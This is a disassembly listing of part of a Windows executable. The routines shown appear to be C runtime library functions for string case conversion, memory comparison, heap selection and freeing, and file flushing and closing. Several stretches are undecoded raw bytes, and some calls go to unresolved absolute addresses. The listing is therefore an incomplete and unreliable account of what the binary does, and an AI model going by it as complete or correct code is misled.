		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBA04
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBA04
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADE+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBD4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9C8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBD4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9C8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418069+6p
					; sub_418087+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA04, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBD4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9C8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9C8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBA04
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A5+ADp
					; sub_419594+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A5+7Fp
					; sub_4185A5+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DBA04, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBA14
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 26A08B1h
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB948, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9C8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBA14
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DBA04, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBA14
		call	near ptr 2860000h
		nop
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 0B4h
		dd 0A2ACB600h, 1828FF18h, 87250165h, 0A164263Dh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 7BE890E8h, 33024A40h, 89D48AD2h
		dd 4DB96015h, 81C88B00h, 0FFE1h, 5C0D8900h, 0C1004DB9h
		dd 0CA0308E1h, 0B9580D89h, 0E8C1004Dh, 0B954A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 0E8000059h, 24A4000h, 0CFECA390h,	19E8004Dh
		dd 0A3000058h, 4DB9B8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 24A2628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0E2E89056h, 50022834h, 0FE3820E8h, 0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9C0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A990
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB9C0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCDA0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26809B4h
		test	eax, eax
		jnz	short loc_41DAEB
		call	near ptr 26A08B1h
		nop
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB94C, 0
		mov	dword_4DB948, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC80, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC68
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A0EDDh
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2690000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24C2218h
		dd 0A3C08590h, 4DCFE4h,	93E83674h, 83FFFFFEh, 0E8A303F8h
		dd 75004DCFh, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 0E890004Dh
		dd 24B3053h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DCFE4h
		dd 21BEE890h, 0C085023Dh, 4DCFDCA3h, 0C3017500h, 4244C8Bh
		dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h
		dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFD8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFDC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
